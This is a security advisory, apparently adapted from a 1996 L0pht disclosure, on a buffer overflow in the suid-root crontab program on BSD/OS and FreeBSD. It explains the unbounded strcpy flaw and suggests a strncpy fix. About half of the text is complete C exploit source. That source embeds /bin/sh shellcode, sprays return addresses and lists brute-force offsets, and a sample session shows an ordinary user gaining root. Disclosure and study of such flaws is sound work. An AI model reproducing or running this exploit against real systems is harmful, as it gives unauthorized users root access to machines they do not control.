COMMAND
crontab
SYSTEMS AFFECTED
BSD/OS, FreeBSD
PROBLEM
(Most of text used here is by mudge@l0pht.com and their (l0pht)
advisory) Due to a problem with the code in crontab, a buffer
overflow exists that allows a user to overwrite the information
in a saved stack frame. When the function returns, the saved
frame is popped off of the stack and user supplied code can be
executed.
Example:
> id
uid=621 (mudge) gid=200(users)
> ./cronny -92
Using offset (0xefbfdbc8)
# id
uid=621 (mudge) euid=0(root) gid=200(users)
When crontab, a suid root program, is run with just a filename as
it's only argument the argument is copied into the variable
Filename[MAX_FNAME]. Since this copy is done via strcpy, no
bounds checking is done on the length of the string being handed
in. The code snippit from crontab.c is as follows:
static char Filename[MAX_FNAME];
...
[ from parse_args(argc, argc) ]
if (argv[optind] != NULL) {
Option = opt_replace;
(void) strcpy (Filename, argv[optind]);
}
By placing a sufficently sized string in argv[1] it is possible
to overwrite the saved frame on the stack and, upon return from
the routine execute machine codes of the users contruction.
Exploit code:
/********************************************************************
* crontab buffer overflow code - mudge@l0pht.com *
* 10/12/96 *
* *
* So I was sitting here thinking... I know, it's a dangerous thing *
* and you ever notice that hackers seem to have a surplus of time *
* on their hands? Well, I don't but hopefully if I keep coming out *
* with things like this it will help to perpetuate the myth. *
* *
* There is a really cool buffer overflow in crond that bitwrior *
* spotted. So I figured that since the same person, Paul Vixie, *
* wrote crontab too that the same type of errors would probably be *
* there. Sure enough! *
* *
* Ya gotta love command line overflows... just yank the code from *
* any existing one and brute on the new program. This is almost *
* verbatim from my modstat overflow. *
* *
* try with offsets of -92, -348, 164, 296, 351 with the way this *
* is currently setup. If these fail, brute force it <grin>. *
*******************************************************************/
#include <stdio.h>
#include <stdlib.h>
long get_esp(void)
{
__asm__("movl %esp, %eax\n");
}
main(int argc, char **argv)
{
int i, j, offset;
char *bar, *foo;
unsigned long *esp_plus = NULL;
char mach_codes[] =
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
if (argc == 2)
offset = atoi(argv[1]);
bar = malloc(4096);
if (!bar){
fprintf(stderr, "failed to malloc memory\n");
exit(1);
}
foo = bar; /* copy of original ptr */
esp_plus = (long *)bar;
for(i=0; i<1024; i++)
*(esp_plus++) = (get_esp() + offset);
printf("Using offset (0x%x)\n", (get_esp() + offset));
bar = (char *)esp_plus;
for(j=0; j<strlen(mach_codes); j++)
*(bar++) = mach_codes[j];
*bar = 0;
execl("/usr/bin/crontab", "crontab", foo, NULL);
}
SOLUTION
One fix to the above problem is to replace the strcpy() with
strncpy().
if (argv[optind] != NULL) {
Option = opt_replace;
(void) strncpy(Filename, argv[optind], sizeof(Filename));
}
However, this only takes care of _one_ of the exploitable buffer
overflows in crontab.